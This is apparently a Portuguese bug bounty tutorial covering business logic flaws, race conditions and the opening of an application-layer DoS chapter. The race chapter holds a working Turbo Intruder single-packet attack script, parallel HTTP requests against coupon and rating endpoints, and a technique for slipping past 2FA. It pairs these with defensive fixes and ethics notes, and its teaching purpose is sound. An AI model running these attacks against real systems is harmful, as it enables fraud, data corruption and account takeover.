Defesa em camadas

A regra-mãe é a mesma de todo o guia: **valide TODAS as invariantes no servidor**. O cliente é uma sugestão; o servidor é a lei. Mas em Business Logic isso se desdobra em camadas específicas:

1. Valide o domínio do valor, não só o tipo. "É inteiro" não basta — tem que ser inteiro **dentro do intervalo que faz sentido no negócio**:

```
// CORRETO — reforça a invariante de domínio
$qtd = filter_var($_POST['quantidade'], FILTER_VALIDATE_INT);
if ($qtd === false || $qtd < 1 || $qtd > 10) {
    http_response_code(422);
    exit('quantidade invalida');
}
```

2. Nunca confie em preço/desconto/total vindos do cliente. Recalcule tudo a partir da fonte de verdade (o banco):

```
// Node — o preço SEMPRE vem da base, o cliente só diz O QUE quer comprar
const produto = await Produto.findById(req.body.productId);
const qtd     = Math.trunc(req.body.quantity);
if (!Number.isInteger(qtd) || qtd < 1 || qtd > produto.estoque) {
  return res.status(422).json({ erro: "quantidade invalida" });
```

```
}
const total = produto.preco * qtd;   // <- preco do servidor, nunca req.body.price
```

3. Proteja a aritmética (overflow/arredondamento). Use tipos monetários adequados (decimal, centavos como inteiro) e cheque limites antes de operar:

```
# Python — dinheiro em Decimal, nunca float; e cap explícito
from decimal import Decimal
total = produto.preco * qtd
if total < 0 or total > Decimal("1000000"):
    raise ValueError("total fora do intervalo permitido")
```

4. Modele o fluxo como máquina de estado e valide a transição. Pra cada etapa, cheque que o **estado anterior** é o esperado:

```
// CORRETO — confirmar só é permitido se o pedido estiver PAGO
$pedido = Pedido::where('id', $req->orderId)
               ->where('dono_id', auth()->id())   // dono (vide o capítulo de IDOR)
               ->firstOrFail();
if ($pedido->status !== 'PAGO') {                  // <- valida a transição
    abort(409, 'pedido nao esta no estado PAGO');
}
$pedido->update(['status' => 'CONFIRMADO']);
```

5. Garanta idempotência e limites no servidor. Operações que devem acontecer uma vez precisam de uma **chave de idempotência** (ou de uma restrição no banco), não de um contador no front:

```
-- O banco IMPÕE "um cupom por carrinho", aconteça o que acontecer na API
ALTER TABLE cupons_aplicados ADD CONSTRAINT uq_cupom_por_carrinho UNIQUE (cart_id);
```

6. Revalide invariantes "permanentes" sempre que o dado mudar. Se maioridade depende da data de nascimento, **revalide a maioridade em toda edição** — não só no cadastro. Trate concorrência com **transação + lock** (`SELECT ... FOR UPDATE`) pra matar race condition de saldo.

> **O que NÃO basta:** validar só no JavaScript; checar "é número" sem checar o **intervalo**; esconder o botão "confirmar" achando que protege a etapa; confiar que o cliente manda preço/role/ `Account` corretos; um contador de limite mantido no front. Em Business Logic, **a defesa é entender o negócio melhor que o atacante** e codificar cada suposição como uma checagem explícita.

Ferramentas + labs legais

- **Burp Suite** — Proxy (mapear fluxo), Repeater (alterar um campo, replay), Intruder (overflow via Null payloads "continue indefinitely"), Repeater "Send group in parallel" (race condition), Comparer (diff de respostas).
- **DevTools do navegador** — pra ver e furar a validação client-side.
- **Labs pra praticar (autorizados):**
- PortSwigger — Business logic vulnerabilities (11 labs gratuitos: *excessive trust in client-side controls*, *high-level logic vulnerability*, *low-level logic flaw* (overflow), *inconsistent handling of exceptional input*, *insufficient workflow validation*, *authentication bypass via flawed state machine*, *infinite money logic flaw*, *authentication bypass via encryption oracle*, entre outros).
- **OWASP Juice Shop** — cheio de desafios de lógica (carrinho, cupom, basket de outro usuário).
- TryHackMe, HackTheBox, HackingClub — máquinas com fluxos de negócio pra abusar.

Checklist do caçador

- [ ] **Usei o app inteiro** com o Proxy ligado e desenhei o fluxo (etapas e transições).
- [ ] Para cada campo, anotei a **suposição** do dev (intervalo esperado) e testei o **oposto** (`-1`, `0`, gigante, string, array, decimal).
- [ ] Procurei **preço/desconto/total** no corpo da request e tentei alterá-los.
- [ ] Tentei **pular etapas** chamando a request da etapa final direto (workflow bypass).
- [ ] **Reenviei** operações "únicas" (replay) e checei se acumulam (idempotência).
- [ ] Tentei furar limites trocando o **identificador de conta/tenant** entre Conta A e Conta B.
- [ ] Mandei requests **direto pra API** pulando a validação client-side (CPF, idade, formato).
- [ ] Testei editar campos "**imutáveis**" depois do cadastro (data de nascimento, e-mail, role).
- [ ] Testei **concorrência** (Repeater → send group in parallel) em saldo/estoque/limite.
- [ ] Tentei **pular etapa obrigatória** (aceite de termos, KYC) reusando a request de uma conta que já passou, trocando só a autenticação.
- [ ] Conferi que a falha **está no escopo**, que o fluxo está **em produção** (não-prod paga menos) e medi o **impacto no negócio** (dinheiro, PII, auth).

Pegadinhas / o que NÃO funciona

- **Reportar "aceita valor negativo" sem impacto.** Se o `-1` é rejeitado lá na frente ou não muda saldo/preço, é só validação fraca — não é bug pagável. **Sempre persiga o efeito de negócio.**
- **Confundir com IDOR.** Trocar `id=1001` por `1002` pra ver dado de outro é **Broken Access Control** (capítulo 10). Business Logic é quebrar uma **regra** com **seu**

próprio dado. Eles se cruzam (muito report vem rotulado "Business Logic" sendo IDOR), mas a *raiz* é diferente.
- **Achar que client-side resolve.** Se você furou pelo Burp, o app está vulnerável — não adianta o dev dizer "mas no site não dá".
- **Esquecer o estado limpo.** Replay e overflow sujam o carrinho/saldo de teste. Use **conta de teste** e documente o estado inicial, senão você não consegue reproduzir pro triager.

O que você precisa lembrar

- Business Logic é a falha onde **não há payload, há raciocínio**: o app faz o que foi programado, mas a **regra** permite abuso.
- **Scanner não acha** porque não entende o negócio — por isso paga e tem menos competição.
- O método é sempre: **mapear o fluxo → listar as suposições → testar o inesperado → provar o impacto.**
- A defesa é **reforçar toda invariante no servidor**: intervalo do valor, preço da base, máquina de estado, idempotência, revalidação.

> **Dica de ouro:** antes de testar uma tela, faça a pergunta de ouro — "*o que o desenvolvedor presumiu que eu nunca faria aqui?*". Quantidade negativa, pular a etapa de pagamento, reusar o cupom, mandar uma idade impossível direto na API. A resposta a essa pergunta **é** o seu próximo bug.

Nota ética

Tudo aqui é pra **testes autorizados** — bug bounty dentro do escopo, pentests contratados e labs legais. Manipular preço, gerar crédito ou burlar limite em sistemas de terceiros sem autorização é fraude e crime, mesmo que "tecnicamente o servidor deixou". Existe lab demais pra treinar (PortSwigger, Juice Shop) — use o conhecimento pra proteger, reportar com responsabilidade e ensinar.

Referências

- PortSwigger — Business logic vulnerabilities
- PortSwigger — Examples of business logic vulnerabilities
- PortSwigger — Lab: Low-level logic flaw (integer overflow)
- OWASP WSTG — Business Logic Testing (4.10)
- OWASP — Business logic vulnerability
- OWASP Juice Shop

Race Conditions: explorando a janela entre checar e usar

Quando "resgatar 1 vez" vira "resgatar 30 vezes"

Imagina um cupom de R$50 que só pode ser usado **uma vez por conta**. Você aplica, ganha o desconto, fim. Agora imagina que, em vez de clicar uma vez, você dispara **20 requisições idênticas no mesmo milissegundo**. O servidor recebe todas quase juntas, e cada uma faz a mesma pergunta — "*esse cupom já foi usado?*" — **antes** de qualquer uma ter terminado de marcar o cupom como usado. Todas leem "ainda não foi usado". Resultado: R$1.000 de desconto com um cupom de R$50.

Isso é uma **race condition** (condição de corrida). A falha não está no cupom em si — está no **intervalo de tempo** entre o servidor *checar* a regra e *aplicar* o efeito. Esse intervalo é a "janela de corrida", e às vezes ela dura menos de 1 milissegundo. Por muitos anos race conditions foram consideradas "difíceis de explorar via rede" por causa da latência. Em 2023, o **single-packet attack** do James Kettle (PortSwigger Research) mudou esse jogo — e é por isso que esse bug voltou com tudo pros programas de bug bounty. Neste capítulo a gente vai do conceito até a exploração técnica perfeita, com defesa de verdade.

O que é uma race condition (TOCTOU)

Analogia: pensa numa porta giratória de banco que só deixa passar uma pessoa por vez. O segurança olha, vê que está vazia, libera. Mas se **três pessoas empurram a porta no mesmo instante**, todas passam antes do segurança "atualizar" o que viu. Ele checou um estado (vazia) e agiu (liberou), mas entre o *checar* e o *agir* o mundo mudou.

Tecnicamente, isso é um **TOCTOU** — *time-of-check to time-of-use* (tempo-da-checagem até tempo-do-uso). A aplicação faz duas coisas que **deveriam ser uma só, indivisível**:

1. **Check (checar):** "esse cupom já foi usado?" / "tem saldo?" / "esse usuário já votou?"
2. **Use (usar):** aplica o desconto / debita o saldo / registra o voto.

Quando essas duas etapas **não são atômicas** (não acontecem como um bloco único e protegido), abre-se uma janela. Se você conseguir enfiar uma segunda operação **dentro** dessa janela — antes da primeira terminar de escrever o resultado — você "corre" contra o sistema. Daí o nome.

> **Conceito-chave:** race condition não é sobre "mandar muita request" (isso é força bruta / rate limiting). É sobre **timing**: mandar requests concorrentes que colidem **no mesmo registro** dentro da janela em que o estado ainda não foi atualizado.

Por que isso importa (e quanto paga)

O impacto é quase sempre **financeiro e direto**, o que faz o programa entender rápido:

- **Limit overrun (estouro de limite):** usar um cupom/gift card/promoção N vezes, sacar dinheiro além do saldo, votar/avaliar várias vezes, resgatar pontos de fidelidade repetidamente.
- **Bypass de limites de negócio:** burlar "máximo 1 por cliente", "1 voto por usuário", "1 cadastro por CPF". No fundo, o race é uma forma de quebrar uma **regra de negócio** pela janela de timing — é primo direto das falhas de Business Logic.
- **Estados inconsistentes:** transferir o mesmo dinheiro pra duas contas, confirmar um pedido duas vezes, criar dois recursos que deviam ser únicos.
- **Bypass de segurança em sub-estados:** janelas onde a sessão já existe mas o 2FA ainda não foi marcado como obrigatório (falaremos disso adiante).

> **2FA/MFA**: autenticação de dois/múltiplos fatores — além da senha, exige um segundo fator (código, app, SMS). Mais no Glossário.

A faixa de bounty varia muito com o **impacto provado**: um race em algo cosmético (avaliar uma vez a mais) costuma ser **Low** e paga de **R$200 a R$500**; um race que deixa **sacar/transferir dinheiro além do saldo** ou **multiplicar crédito** salta pra **High/Critical** e pode pagar **vários milhares de reais**. O que muda o número é sempre: *dá pra transformar isso em dinheiro ou em dano real, e em que escala?*

> **Como o race pontua (CVSS).** Pra falar a língua do triador, leve um vetor junto — cito o **v3.1** (ainda o mais usado nos programas) e o **v4.0** ao lado. Repare que o que move o score é o **tipo de impacto** (`I` / `VI`): o limit-overrun corrompe **integridade** do estado (contador, saldo, unicidade), raramente confidencialidade.
>
> | Cenário do race | CVSS v3.1 | CVSS v4.0 (vetor) |
> |---|---|---|
> | **Cosmético** (voto/avaliação múltipla — o caso deste capítulo) | **4.3 Médio** — `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N` | `AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N` — **Médio** |
> | **Limit-overrun financeiro** (sacar/multiplicar crédito além do saldo) | **6.5 Médio** — `AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` (sobe a **7.1 Alto** com `A:L` , ou **7.5 Alto** se o endpoint for não autenticado, `PR:N`) | `AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N` — **Alto** |
>
> Os decimais do **v3.1** acima foram calculados na calculadora oficial do FIRST; para o decimal exato do **v4.0**, rode o vetor na calculadora v4.0 (a escala do v4.0 **não é linear**, então cito a faixa qualitativa + o vetor pra você reproduzir). O número-base do race costuma travar em **Médio/Alto**; é a **escala** (multipliquei crédito quantas vezes? afetei

> quantas contas?) que você argumenta em texto pra justificar a severidade real — sem inflar o vetor. Como calibrar isso com o triador: Severidade & Impacto na Triagem.
>
> Já vimos em Severidade & Impacto na Triagem que **o impacto é o que paga**. Num race, o impacto é literalmente *quantas vezes você conseguiu repetir o que deveria ser único* — quantifique isso no report.

Como funciona por trás

Vamos abrir o capô. Um fluxo de resgate de cupom **vulnerável** costuma ser assim no backend:

```
// VULNERÁVEL — check e use separados, sem trava (não-atômico)
$cupom = $db->query("SELECT * FROM cupons WHERE codigo = ? AND usado = 0", [$codigo]);

if ($cupom) {                                  // (1) CHECK: ainda não usado?
    aplicarDesconto($usuario, $cupom->valor);  // (2) USE: dá o desconto
    $db->query("UPDATE cupons SET usado = 1 WHERE id = ?", [$cupom->id]); // (3) marca
}
```

Lido sequencialmente, parece correto. Mas pensa em **duas requisições chegando quase juntas**, cada uma numa thread/processo do servidor:

```
tempo →
Req A:  SELECT (usado=0? sim) ── aplicaDesconto ── UPDATE usado=1
Req B:        SELECT (usado=0? sim) ── aplicaDesconto ── UPDATE usado=1
                  ↑
        B leu "usado=0" ANTES de A escrever "usado=1"
```

As duas leram `usado = 0` **na mesma janela**, as duas aplicaram o desconto, e só então as duas escreveram `usado = 1`. O `UPDATE` final nem reclama — ele só seta `1` duas vezes. O dano já foi feito **entre o SELECT e o UPDATE**.

Do lado de fora (atacante), o que você faz é simplesmente disparar várias requisições idênticas **o mais simultâneas possível** (o header `Authorization: Bearer <token>` é a sua credencial de sessão que prova quem você é — ver Glossário):

```
POST /api/cupom/resgatar HTTP/2
Host: alvo.com
Authorization: Bearer <seu_token>
Content-Type: application/json

{"codigo":"PROMO50"}        # <- esta MESMA request, mandada 20x em paralelo
```

Quanto mais juntas elas chegarem no servidor, maior a chance de várias caírem dentro da janela. É por isso que **o timing é tudo** — e por isso técnicas como o single-packet attack importam tanto.

Tipos e variações

Tipo	Janela explorada	Exemplo clássico
Limit overrun	Entre checar limite e decrementá-lo	Cupom/gift card usado N vezes; saque acima do saldo
Multi-request no mesmo recurso	Entre ler e gravar o mesmo registro	2 transferências do mesmo saldo; voto duplicado
Sub-estados ocultos	Estado intermediário de uma única operação	Sessão válida mas 2FA ainda não exigido; cadastro meio-criado
Multi-endpoint (multistep)	Janela entre dois endpoints diferentes	Aplicar cupom enquanto finaliza o pedido
Single-request, múltiplos efeitos	Dentro do processamento de 1 request	Arrays vazios (`param[]`) batendo com `null` durante init

A grande sacada da pesquisa moderna (Kettle, *Smashing the State Machine*, Black Hat USA 2023 / DEF CON 31) foi mostrar que **toda requisição HTTP pode transitar a aplicação por vários estados ocultos e fugazes** — não só o óbvio "limit overrun". Esses sub-estados duram ~1ms e, com a ferramenta certa, dá pra disparar requests exatamente dentro deles.

Recon — como encontrar candidatos

Antes de atirar requests em paralelo, você **prediz** onde pode haver colisão. A metodologia oficial do PortSwigger é **Predict → Probe → Prove** (prever, sondar, provar). Procure endpoints (cada URL/rota da API que recebe uma requisição — detalhe no Glossário) que:

- **Operam sobre o mesmo registro** com "uma vez só" embutido: resgate de cupom, aplicar voucher, votar, avaliar, "curtir", confirmar pagamento, sacar, transferir, resgatar pontos.
- **Têm um limite numérico** que decrementa: saldo, estoque, quantidade de usos, créditos.
- **Têm regra de unicidade de negócio:** "1 por CPF", "1 cadastro por e-mail", "só pode aplicar 1 cupom".
- **Fluxos de conta sensíveis:** confirmar e-mail, habilitar/exigir 2FA, trocar senha — onde existem estados intermediários.

Sinais no tráfego (olhe no proxy do Burp — o intermediário que intercepta e mostra cada request; ver Glossário):

```
# parâmetros e paths que cheiram a "ação única / limite"
/resgatar  /redeem  /apply-coupon  /vote  /rate  /withdraw  /transfer  /claim
?couponCode=  ?voucher=  ?amount=  qualquer "usado/used/claimed/once"
```

> Já vimos coleta de endpoints e JS no capítulo Recon & Discovery (com `gau`, `katana`, `httpx`). Aqui o recon é mais cirúrgico: você não quer *todos* os endpoints, quer os que mexem em **dinheiro, contagem ou unicidade**.

Exploração passo a passo (do básico ao avançado)

Nível 0 — Benchmark (NÃO pule isso)

Antes de tentar o ataque, entenda o comportamento **normal**. Mande a request **uma vez** e veja a resposta. Depois mande algumas em **sequência** (separadas) e confirme que o servidor responde "cupom já usado" / "limite atingido" como deveria. Esse é o seu controle — sem ele você não sabe se "funcionou".

No Burp: selecione as requests no Repeater como um **grupo de abas** e use **"Send group in sequence (separate connections)"**. Isso é a linha de base.

Nível 1 — Burp Repeater: "Send group in parallel"

A forma mais simples e moderna de testar. A partir do **Burp Suite 2023.9+**, o Repeater faz o single-packet attack pra você:

1. Mande a request vulnerável pro **Repeater**.
2. Duplique a aba várias vezes (ex.: 20 cópias idênticas).
3. Selecione todas → adicione a um **tab group** (clique direito → *Add tab to group*).
4. Clique na setinha ao lado de *Send* e escolha **"Send group in parallel"**.

O Burp decide a técnica sozinho: em **HTTP/2** usa o **single-packet attack**; em **HTTP/1** cai pro **last-byte synchronization**. Se duas ou mais respostas voltarem com `200` /sucesso quando *só uma* deveria, você tem um race.

```
# As 20 abas no grupo são esta MESMA request — disparadas "ao mesmo tempo"
POST /api/cupom/resgatar HTTP/2
Host: alvo.com
Authorization: Bearer <seu_token>
Content-Type: application/json

{"codigo":"PROMO50"}
```

Nível 2 — Turbo Intruder (single-packet attack)

Quando você quer controle fino, escala (20-30 requests) ou precisa de wordlist, use a extensão **Turbo Intruder** (BApp Store). Mande a request pro Turbo Intruder e use o template oficial `race-single-packet-attack.py`:

```
def queueRequests(target, wordlists):
    # HTTP/2 -> Engine.BURP2 dispara o single-packet attack
    # HTTP/1 -> use Engine.THREADED ou Engine.BURP
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=1,
                           engine=Engine.BURP2)

    # 'gate' segura um pedaço de cada request até openGate() ser chamado
    for i in range(20):
        engine.queue(target.req, gate='race1')

    # libera as 20 requests sincronizadas (em 1 pacote TCP no HTTP/2)
    engine.openGate('race1')


def handleResponse(req, interesting):
    table.add(req)
```

O que cada parte faz, sem mágica: - `concurrentConnections=1` + `Engine.BURP2` : força **uma conexão HTTP/2** e o modo single-packet. - `engine.queue(..., gate='race1')` : enfileira a request, mas **segura o último fragmento** de cada uma (o "portão" fechado). - `engine.openGate('race1')` : **abre o portão** — solta os fragmentos finais de todas as 20 requests **juntos**, num único pacote TCP. Elas chegam ao servidor praticamente no mesmo instante.

Nível 3 — O single-packet attack, por dentro (o "porquê")

Aqui está o pulo do gato que tornou races exploráveis remotamente. O problema histórico era o **network jitter**: mesmo mandando 20 requests "juntas", a rede entrega cada uma com um atraso ligeiramente diferente (1ms aqui, 4ms ali), e elas chegam **espalhadas** — fora da janela de ~1ms.

O **single-packet attack** resolve assim, usando **multiplexação do HTTP/2** (que permite várias "streams"/requests numa mesma conexão):

1. Envia **quase tudo** de cada uma das 20 requests, **menos o último frame** (um fragmento minúsculo é retido).
2. Espera todas estarem "prontas, faltando só o empurrãozinho".
3. Dispara os **20 frames finais dentro de um único pacote TCP**.

Como tudo chega no mesmo pacote, o servidor recebe e processa as 20 requests **ao mesmo tempo, independente do jitter da rede**. Isso comprime a entrega pra uma janela mediana de **~1ms** — o Kettle demonstrou de **20 a 30 requests** atravessando ~17.000 km (Melbourne ↔ Dublin) e ainda chegando com spread mediano de ~1ms. Na prática: a race condition remota passa a ser tão confiável quanto se você estivesse atacando *localhost*.

> Em HTTP/1.1 não dá pra multiplexar, então a técnica anterior é o **last-byte synchronization**: você manda quase todas as requests, segura o último byte de cada uma, e solta todos os últimos bytes juntos. Funciona, mas tem ~4ms de espalhamento — pior que o single-packet, por isso prefira HTTP/2 quando o alvo suportar.

Nível 4 — Sub-estados e multi-endpoint (avançado)

Nem todo race é "repetir a mesma request". Às vezes a janela está **dentro do processamento de uma operação**. Exemplo clássico de sub-estado, em pseudocódigo de login:

```
# Existe um instante entre estas duas linhas em que a sessão é VÁLIDA
# mas o 'enforce_mfa' ainda não foi setado:
session['userid'] = user.userid       # <- já logado aqui
if user.mfa_enabled:
    session['enforce_mfa'] = True      # <- janela: antes daqui, sem MFA
```

Disparando requests concorrentes (uma de login, outra batendo num endpoint protegido) dá pra "entrar" nesse instante e usar a sessão **antes do 2FA ser exigido**. Aqui o single-packet attack deixa de ser só "limit overrun" e vira um vetor de **account takeover**: bypass de 2FA é uma das aplicações que o Kettle demonstrou. Como esse abuso se conecta com os outros caminhos de ATO (reset de senha, JWT, OAuth), veja Account Takeover.

Pra **multi-endpoint** (a janela está entre dois endpoints diferentes), o alinhamento é mais difícil por causa de tempos de processamento distintos. Truques oficiais: - **Connection warming:** mande um `GET /` antes pra "esquentar" a conexão e normalizar o atraso do backend. - Se o timing oscilar, abuse do rate limit do próprio alvo: dispare **requests dummy** pra forçar um atraso no servidor e alinhar a janela.

Caso real-fictício: race no endpoint de avaliação (voto múltiplo)

> Cenário **fictício, baseado em padrões reais** de programas de bug bounty (anonimizado).

Você testa `app.exemplo.com`, uma plataforma de cursos. Cada usuário pode **avaliar um conteúdo uma única vez** (de 1 a 5 estrelas), e a média é exibida publicamente. Ao avaliar, o Burp registra:

```
POST /api/v2/streamings/1001/rate HTTP/2
Host: app.exemplo.com
Authorization: Bearer <seu_token>
Content-Type: application/json
```

```
{"score":5}
```

Passo 1 — Benchmark. No Repeater, mando a request 3x em **sequência**. A 1ª responde `200`; a 2ª e 3ª respondem `409 Conflict` com `{"error":"já avaliado"}`. Comportamento normal: 1 voto por usuário. Bom.

Passo 2 — Atacar. Duplico a aba 20 vezes, jogo num **tab group** e uso **"Send group in parallel"** (single-packet, pois é HTTP/2). Resposta:

```
HTTP/2 200 OK
Content-Type: application/json

{"streamingId":1001,"score":5,"accepted":true}
```

E **não foi só uma** que voltou `200` — **8 das 20** retornaram `accepted: true`. As outras 12 deram `409`. Ou seja: das 20, **8 colidiram dentro da janela** e registraram voto.

Passo 3 — Provar o impacto. Recarrego a página do conteúdo: a média de avaliação saltou, contabilizando **8 votos meus** num recurso que deveria aceitar **1**. Com o Turbo Intruder e várias rodadas, consigo empurrar a nota de qualquer conteúdo pra cima (ou pra baixo). Isolei o conjunto mínimo: o efeito reproduz com ~10 requests paralelas.

O que a tela do Burp mostraria: a aba *Logger*/grupo de respostas com várias linhas `200 OK accepted:true` lado a lado, todas com timestamps praticamente idênticos — destacando que múltiplas passaram onde só uma deveria.

Passo 4 — Report. Título `[Race Condition] - Voto/avaliação múltipla via requests concorrentes (single-packet attack)`. Resumo focado no negócio: "*a regra de '1 avaliação por usuário' pode ser burlada disparando requisições concorrentes, permitindo inflar/deflacionar a nota de qualquer conteúdo e manipular o ranking público*". Inclua o **benchmark sequencial** (mostra a regra funcionando) + o **resultado paralelo** (mostra a quebra) — esse contraste é o que prova o bug. (Veja Como escrever um report que paga.)

> Esse mesmo padrão num endpoint de **saque/cupom/saldo** sobe a severidade de Low pra High/Critical. A técnica é idêntica; só muda o que está em jogo.

Defesa em camadas

A correção real é **tornar o check-e-use atômico** ou **impossível de duplicar**. Tudo no servidor — concorrência não se resolve no frontend.

1. Transação + trava no banco (a defesa principal). Use uma transação e **trave a linha** que você vai ler-e-atualizar, pra que a segunda request **espere** a primeira terminar:

```
// CORRETO — SELECT ... FOR UPDATE trava a linha dentro da transação
$db->beginTransaction();
$cupom = $db->query(
    "SELECT * FROM cupons WHERE codigo = ? AND usado = 0 FOR UPDATE", // <- trava aqui
    [$codigo]
);
if ($cupom) {
    $db->query("UPDATE cupons SET usado = 1 WHERE id = ?", [$cupom->id]);
    aplicarDesconto($usuario, $cupom->valor);
}
$db->commit(); // libera a trava só agora — a Req B só lê depois disto
```

A request B fica **bloqueada** no `SELECT ... FOR UPDATE` até a A dar `commit`; quando B finalmente lê, vê `usado = 1` e é negada. A janela some.

2. Operação atômica num único comando. Melhor ainda: não separe check e use. Deixe o **banco** decidir, num comando só, e confie no número de linhas afetadas:

```
-- decrementa SÓ se ainda houver saldo; atômico no próprio UPDATE
UPDATE contas SET saldo = saldo - 100
 WHERE id = :id AND saldo >= 100;
-- se affected_rows = 0 -> não tinha saldo, rejeita. Sem janela.
```

3. Restrição de unicidade no schema. Pra "1 por X", deixe o banco garantir — duas inserções concorrentes não furam um índice único:

```
-- o banco rejeita a 2ª inserção concorrente com erro de duplicidade
ALTER TABLE avaliacoes
  ADD CONSTRAINT uq_user_streaming UNIQUE (user_id, streaming_id);
```

4. Idempotency keys. Pra ações tipo pagamento, exija uma chave de idempotência única por operação; requests repetidas com a mesma chave retornam o **mesmo** resultado, sem reexecutar:

```
POST /api/pagamentos HTTP/2
Idempotency-Key: 3f1c9a7e-...-única-por-operação   # <- repetiu? devolve o 1º resultado
```

```
// Node — grava a chave atomicamente; 2ª request com a mesma chave não reexecuta
const ok = await redis.set(`idem:${key}`, '1', 'NX', 'EX', 86400); // NX = só se não
existir
if (!ok) return res.status(409).json({ error: 'requisição duplicada' });
// ... processa pagamento ...
```

> **O que NÃO basta:** desabilitar o botão no front após o clique; um `SELECT` seguido de `UPDATE` **sem** transação/trava (continua não-atômico); confiar em rate limiting (race usa *poucas* requests, dentro do limite); um `if (usado) return` em memória da aplicação sem garantia no banco.

Ferramentas + labs legais

- **Burp Suite** — Repeater com **"Send group in parallel"** (single-packet automático em HTTP/2) e **"Send group in sequence"** pro benchmark.
- **Turbo Intruder** (BApp Store) — extensão do James Kettle; template `race-single-packet-attack.py` pra escala e wordlists.
- **Labs pra praticar (autorizados):** PortSwigger Web Security Academy — Race conditions (5 labs, do limit overrun ao multi-endpoint — a melhor fonte gratuita), além de THM/HTB.

Checklist do caçador

- [ ] Mapeei endpoints que operam sobre **o mesmo registro** com regra de "uma vez/limite/unicidade".
- [ ] Fiz o **benchmark sequencial** primeiro (provei que a regra funciona normalmente).
- [ ] Disparei o ataque com **"Send group in parallel"** (single-packet em HTTP/2).
- [ ] Confirmei o alvo em **HTTP/2** (single-packet); se HTTP/1, usei last-byte sync.
- [ ] Para escala/wordlist, usei **Turbo Intruder** (`Engine.BURP2` , `gate` / `openGate`).
- [ ] Contei **quantas** requests passaram onde só uma deveria (quantifiquei o impacto).
- [ ] Testei sub-estados (2FA/sessão) e races multi-endpoint quando fazia sentido.
- [ ] Mostrei no report o contraste **sequencial (ok) × paralelo (quebrou)**.

Pegadinhas / o que NÃO funciona

- **Confundir com rate limiting:** mandar 10.000 requests é força bruta. Race é **poucas requests, no timing certo**, sobre o mesmo recurso. São bugs diferentes.
- **Testar em HTTP/1 e achar que "não tem race":** o jitter pode mascarar a janela. Tente HTTP/2 + single-packet antes de descartar.
- **Não fazer benchmark:** sem a linha de base sequencial, você não consegue provar (nem pra você) que o paralelo quebrou algo.
- **Resultado não-determinístico:** races nem sempre disparam em 100% das tentativas. Rode **várias vezes**; uma única passagem indevida já é o bug.
- **"O UPDATE final conserta":** não conserta. O dano acontece **antes** dele, na janela entre o SELECT e o UPDATE.

O que você precisa lembrar

- Race condition = explorar a **janela entre checar e usar** (TOCTOU) disparando operações concorrentes sobre o **mesmo registro**.
- A causa raiz é **check-e-use não-atômico** no servidor.
- A exploração moderna é o **single-packet attack** (HTTP/2): Burp Repeater "Send group in parallel" ou Turbo Intruder.

- A defesa é **atomicidade**: transação + `FOR UPDATE`, update condicional atômico, `UNIQUE` no schema, idempotency keys.

> **Dica de ouro:** sempre faça o **benchmark sequencial antes**. Se em sequência o servidor diz "já usado / limite atingido", mas em paralelo várias passam, você não só achou o bug — você já tem a **prova pronta** pro report. O contraste sequencial × paralelo é a evidência mais limpa que existe pra essa classe.

Nota ética

Tudo aqui é pra **testes autorizados** — programas de bug bounty (dentro do escopo), pentests contratados e labs legais como a PortSwigger Academy. Disparar requests concorrentes contra sistemas de terceiros sem autorização pode causar inconsistência de dados real (dinheiro, estoque) e é crime. Treine nos labs, reporte com responsabilidade e use o conhecimento pra ajudar a corrigir.

Referências

- PortSwigger — Race conditions (Web Security Academy)
- PortSwigger Research — Smashing the state machine: the true potential of web race conditions (James Kettle, Black Hat USA 2023 / DEF CON 31)
- PortSwigger Research — The single-packet attack: making remote race-conditions 'local'
- Turbo Intruder — template `race-single-packet-attack.py`
- OWASP WSTG — Business Logic Testing (4.10, inclui Test for Process Timing) · OWASP — Race Condition

Denial of Service em nível de aplicação (com responsabilidade)

A falha que você não pode "provar até o fim"

A maioria das vulnerabilidades que a gente caça em bug bounty é segura de demonstrar: você troca um `id`, lê a fatura de outro (já vimos isso no capítulo Broken Access Control), tira o print e reporta. Ninguém fica sem serviço.

Denial of Service (DoS) é diferente. Aqui a "prova completa" seria justamente o que você **nunca** pode fazer: deixar a aplicação fora do ar para usuários reais. Se você de fato derrubar produção, parou de ser pesquisador e virou um incidente — fora do escopo, possivelmente ilegal, e um ótimo jeito de ser banido do programa.

> **Analogia:** testar DoS é como ser o engenheiro que avalia se uma ponte aguenta peso. Você **não** dirige 50 caminhões em cima para ver se ela cai. Você calcula a carga, faz um teste pontual e controlado num trecho, e mostra com evidência que **se** alguém colocar peso demais, ela cede. A conclusão é a mesma — "a ponte é frágil" — só que ninguém morre no processo.

Então a regra deste capítulo é: **demonstrar o vetor, não consumar o ataque.** A gente vai aprender a identificar onde a aplicação é frágil, medir o sinal (tempo de resposta, consumo) com **uma** requisição controlada, e calcular/argumentar o impacto — sem nunca tentar de verdade tirar o serviço do ar. Esse é o DoS que paga e que não te coloca em apuros.

Vamos focar em **DoS de aplicação** (camada 7 do OSI — a camada "de aplicação" do modelo de rede, onde vivem HTTP e as funcionalidades, em oposição às camadas baixas de rede/banda), não no DoS volumétrico de rede (inundar a banda com tráfego). A diferença é importante: o volumétrico exige uma botnet e quase sempre está **fora de escopo**; o de aplicação explora uma **fraqueza lógica** — uma regex mal escrita, uma query sem limite, um upload sem teto — onde **uma única requisição barata** força o servidor a gastar recursos caros. É aí que mora o bug interessante.

O que é DoS de aplicação?

DoS é tornar um recurso **indisponível** para quem tem direito a ele. Na camada de aplicação, segundo a OWASP, isso normalmente acontece **esgotando recursos do servidor** (CPU, memória, disco, conexões, threads) ou abusando de uma funcionalidade até ela travar — **sem precisar consumir a banda de rede**. São os ataques mais difíceis de identificar e mitigar exatamente porque parecem tráfego legítimo.

A ideia-chave que você precisa internalizar é a de **assimetria de custo** (também chamada de **amplificação**):

> Um ataque de DoS de aplicação é eficaz quando o **custo para o atacante** de enviar uma requisição é **muito menor** que o **custo para o servidor** de processá-la.

Se eu mando 40 bytes de payload (o conteúdo que vai no corpo da requisição) e o servidor gasta 30 segundos de CPU a 100%, eu tenho uma alavanca brutal. Não preciso de botnet — preciso de poucas requisições dessas em paralelo para travar o processo. Toda técnica deste capítulo é uma variação dessa mesma ideia: **achar a alavanca**.

Conceito	Significado
Vetor	O ponto fraco (regex, query, upload, endpoint caro)
